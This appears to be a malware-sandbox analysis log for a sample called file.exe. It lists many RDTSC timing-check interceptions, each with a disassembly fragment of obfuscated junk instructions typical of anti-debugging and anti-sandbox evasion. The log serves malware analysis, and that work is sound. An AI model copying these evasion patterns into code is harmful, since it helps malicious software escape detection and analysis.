Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A824 second address: 66A836 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007F5BB0EE6E22h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66A836 second address: 66A83C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AAF7 second address: 66AAFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ADE2 second address: 66ADED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66ADED second address: 66AE03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 js 00007F5BB0EE6E16h 0x0000000c ja 00007F5BB0EE6E16h 0x00000012 popad 0x00000013 push esi 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AE03 second address: 66AE08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66AE08 second address: 66AE25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 je 00007F5BB0EE6E16h 0x00000009 jmp 00007F5BB0EE6E22h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B0C9 second address: 66B0CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B0CD second address: 66B0F7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F5BB0EE6E25h 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B3B7 second address: 66B3C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5BB112B656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B550 second address: 66B560 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5BB0EE6E1Ah 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B560 second address: 66B578 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F5BB112B65Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F5BB112B656h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B578 second address: 66B5A4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jmp 00007F5BB0EE6E1Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5BB0EE6E27h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B5A4 second address: 66B5A9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66B5A9 second address: 66B5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C521 second address: 66C52C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 66C52C second address: 66C536 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671AF4 second address: 671AFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 671FFD second address: 67204E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ecx 0x0000000c jmp 00007F5BB0EE6E20h 0x00000011 pop ecx 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 pushad 0x00000017 jc 00007F5BB0EE6E18h 0x0000001d push eax 0x0000001e pop eax 0x0000001f jmp 00007F5BB0EE6E1Fh 0x00000024 popad 0x00000025 mov eax, dword ptr [eax] 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F5BB0EE6E21h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67204E second address: 672054 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 672054 second address: 67205A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67205A second address: 67207F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F5BB112B667h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676FF7 second address: 67700C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 ja 00007F5BB0EE6E4Ah 0x0000000c pushad 0x0000000d jng 00007F5BB0EE6E16h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67700C second address: 67702B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB112B664h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 643C2B second address: 643C5D instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5BB0EE6E29h 0x00000008 jnp 00007F5BB0EE6E16h 0x0000000e jmp 00007F5BB0EE6E1Dh 0x00000013 pop edx 0x00000014 pop eax 0x00000015 je 00007F5BB0EE6E2Ch 0x0000001b pushad 0x0000001c jmp 00007F5BB0EE6E1Ch 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676625 second address: 67662E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67662E second address: 676644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F5BB0EE6E1Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6768CB second address: 6768E6 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F5BB112B656h 0x00000008 ja 00007F5BB112B656h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 js 00007F5BB112B658h 0x00000016 pushad 0x00000017 popad 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676B8E second address: 676BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5BB0EE6E1Ah 0x00000009 jno 00007F5BB0EE6E16h 0x0000000f popad 0x00000010 pop eax 0x00000011 pushad 0x00000012 push edx 0x00000013 jp 00007F5BB0EE6E16h 0x00000019 pop edx 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BB0 second address: 676BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5BB112B656h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BBF second address: 676BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 676BC5 second address: 676BC9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679700 second address: 679773 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007F5BB0EE6E16h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov eax, dword ptr [eax] 0x00000010 pushad 0x00000011 jmp 00007F5BB0EE6E22h 0x00000016 pushad 0x00000017 push esi 0x00000018 pop esi 0x00000019 jnp 00007F5BB0EE6E16h 0x0000001f popad 0x00000020 popad 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 jnl 00007F5BB0EE6E1Ah 0x0000002b pop eax 0x0000002c push 00000000h 0x0000002e push ebp 0x0000002f call 00007F5BB0EE6E18h 0x00000034 pop ebp 0x00000035 mov dword ptr [esp+04h], ebp 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ebp 0x00000042 push ebp 0x00000043 ret 0x00000044 pop ebp 0x00000045 ret 0x00000046 xor si, 0D81h 0x0000004b push 250349D3h 0x00000050 push eax 0x00000051 push edx 0x00000052 pushad 0x00000053 push edx 0x00000054 pop edx 0x00000055 pushad 0x00000056 popad 0x00000057 popad 0x00000058 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679773 second address: 67978B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B664h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679896 second address: 6798AF instructions: 0x00000000 rdtsc 0x00000002 js 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop esi 0x00000011 jbe 00007F5BB0EE6E1Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679AA8 second address: 679AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5BB112B666h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 679EC4 second address: 679EE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5BB0EE6E16h 0x0000000a popad 0x0000000b pushad 0x0000000c jnc 00007F5BB0EE6E16h 0x00000012 js 00007F5BB0EE6E16h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push edx 0x0000001e pushad 0x0000001f popad 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A31A second address: 67A31E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A31E second address: 67A33C instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5BB0EE6E22h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67A540 second address: 67A546 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA3B second address: 67AA3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA3F second address: 67AA43 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA43 second address: 67AA66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5BB0EE6E26h 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA66 second address: 67AA6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA6A second address: 67AA9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a popad 0x0000000b nop 0x0000000c pushad 0x0000000d jo 00007F5BB0EE6E21h 0x00000013 jmp 00007F5BB0EE6E1Bh 0x00000018 movzx edi, si 0x0000001b popad 0x0000001c mov dword ptr [ebp+122D1BE6h], edx 0x00000022 xchg eax, ebx 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 jnc 00007F5BB0EE6E16h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67AA9D second address: 67AAA7 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5BB112B656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634A84 second address: 634A95 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jo 00007F5BB0EE6E1Ch 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 634A95 second address: 634A99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E0E6 second address: 67E0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jp 00007F5BB0EE6E16h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67E0F3 second address: 67E12E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jnl 00007F5BB112B65Eh 0x0000000e nop 0x0000000f mov dword ptr [ebp+122DB360h], esi 0x00000015 push 00000000h 0x00000017 jne 00007F5BB112B65Bh 0x0000001d push 00000000h 0x0000001f sub di, 819Ah 0x00000024 push eax 0x00000025 push ebx 0x00000026 jc 00007F5BB112B65Ch 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 680094 second address: 68009E instructions: 0x00000000 rdtsc 0x00000002 js 00007F5BB0EE6E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68009E second address: 680106 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 mov dword ptr [ebp+122D1BE6h], ebx 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F5BB112B658h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 00000019h 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b mov dword ptr [ebp+12460582h], eax 0x00000031 push 00000000h 0x00000033 jmp 00007F5BB112B65Fh 0x00000038 sub dword ptr [ebp+122D215Dh], edx 0x0000003e push eax 0x0000003f pushad 0x00000040 jmp 00007F5BB112B662h 0x00000045 pushad 0x00000046 pushad 0x00000047 popad 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 67F2F4 second address: 67F2F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 682185 second address: 68218F instructions: 0x00000000 rdtsc 0x00000002 jng 00007F5BB112B65Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684511 second address: 684517 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 684517 second address: 68455B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB112B667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jnl 00007F5BB112B656h 0x00000014 popad 0x00000015 pop edx 0x00000016 nop 0x00000017 mov ebx, dword ptr [ebp+122D36DDh] 0x0000001d push 00000000h 0x0000001f mov ebx, dword ptr [ebp+122D2416h] 0x00000025 push 00000000h 0x00000027 xchg eax, esi 0x00000028 jns 00007F5BB112B664h 0x0000002e push eax 0x0000002f push edx 0x00000030 pushad 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68455B second address: 68456B instructions: 0x00000000 rdtsc 0x00000002 jl 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68579A second address: 6857AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B65Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68337E second address: 683383 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 683383 second address: 6833A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5BB112B669h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 687804 second address: 6878C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F5BB0EE6E22h 0x00000010 push dword ptr fs:[00000000h] 0x00000017 mov dword ptr [ebp+122DB39Eh], edx 0x0000001d mov dword ptr fs:[00000000h], esp 0x00000024 jmp 00007F5BB0EE6E27h 0x00000029 mov eax, dword ptr [ebp+122D1709h] 0x0000002f push 00000000h 0x00000031 push eax 0x00000032 call 00007F5BB0EE6E18h 0x00000037 pop eax 0x00000038 mov dword ptr [esp+04h], eax 0x0000003c add dword ptr [esp+04h], 00000014h 0x00000044 inc eax 0x00000045 push eax 0x00000046 ret 0x00000047 pop eax 0x00000048 ret 0x00000049 jbe 00007F5BB0EE6E1Eh 0x0000004f push edi 0x00000050 mov dword ptr [ebp+1244D7FBh], eax 0x00000056 pop edi 0x00000057 push FFFFFFFFh 0x00000059 push 00000000h 0x0000005b push edx 0x0000005c call 00007F5BB0EE6E18h 0x00000061 pop edx 0x00000062 mov dword ptr [esp+04h], edx 0x00000066 add dword ptr [esp+04h], 00000017h 0x0000006e inc edx 0x0000006f push edx 0x00000070 ret 0x00000071 pop edx 0x00000072 ret 0x00000073 mov edi, dword ptr [ebp+122D1C5Ch] 0x00000079 mov di, 2360h 0x0000007d mov edi, edx 0x0000007f nop 0x00000080 push eax 0x00000081 push edx 0x00000082 ja 00007F5BB0EE6E1Ch 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68A7B1 second address: 68A7BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F5BB112B656h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B795 second address: 68B818 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F5BB0EE6E1Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f jnc 00007F5BB0EE6E27h 0x00000015 and ebx, dword ptr [ebp+122D1C12h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push ebp 0x00000020 call 00007F5BB0EE6E18h 0x00000025 pop ebp 0x00000026 mov dword ptr [esp+04h], ebp 0x0000002a add dword ptr [esp+04h], 00000017h 0x00000032 inc ebp 0x00000033 push ebp 0x00000034 ret 0x00000035 pop ebp 0x00000036 ret 0x00000037 mov di, si 0x0000003a push esi 0x0000003b jg 00007F5BB0EE6E1Ch 0x00000041 pop ebx 0x00000042 push 00000000h 0x00000044 push esi 0x00000045 jmp 00007F5BB0EE6E25h 0x0000004a pop ebx 0x0000004b xchg eax, esi 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B818 second address: 68B81D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B81D second address: 68B823 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68B823 second address: 68B827 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD8F second address: 68DD95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68DD95 second address: 68DDA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ecx 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68892E second address: 688932 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EDC9 second address: 68EDCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 689888 second address: 689892 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5BB0EE6E1Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68BA46 second address: 68BA72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F5BB112B656h 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F5BB112B666h 0x00000013 push eax 0x00000014 push edx 0x00000015 je 00007F5BB112B656h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 690EA2 second address: 690EA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F0E second address: 691F12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F12 second address: 691F28 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5BB0EE6E16h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jbe 00007F5BB0EE6E18h 0x00000014 push edx 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 691F28 second address: 691F32 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5BB112B65Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6940CF second address: 6940D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 695166 second address: 69516B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EFBE second address: 68EFDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5BB0EE6E24h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 68EFDA second address: 68EFDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
